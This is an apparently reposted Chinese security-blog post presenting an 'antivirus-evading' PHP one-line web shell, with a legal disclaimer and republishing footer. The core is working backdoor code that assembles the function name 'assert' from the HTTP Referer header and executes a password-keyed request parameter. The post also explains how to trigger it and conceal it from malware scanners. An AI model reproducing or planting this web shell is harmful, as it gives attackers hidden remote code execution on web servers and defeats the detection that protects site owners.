一个免杀的PHP一句话木马
2023-5-27 00:2:8 Author: LemonSec(查看原文) 阅读量:28 收藏

####################
免责声明：工具本身并无好坏，希望大家以遵守《网络安全法》相关法律为前提来使用该工具，支持研究学习，切勿用于非法犯罪活动，对于恶意使用该工具造成的损失，和本人及开发者无关。
####################

<?php/** * Noticed: (PHP 5 >= 5.3.0, PHP 7) * */$password = "uedbox.com";$wx = substr($_SERVER["HTTP_REFERER"],-7,-4);forward_static_call_array($wx."ert", array($_REQUEST[$password]));?>

请求时，设置Referer头，后面以"ass****"结尾即可，比如：Referer: https://www.baidu.com/ass.php。

侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
觉得不错点个“赞”、“在看“

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247545816&idx=2&sn=32864ce885121d9fc33e11dd62e4805b&chksm=f9e35c83ce94d5959dc1fa8d6867d9c612a2bf9be7123ef7265859894b7767017fb481a1fca6#rd
如有侵权请联系:admin#unsafe.sh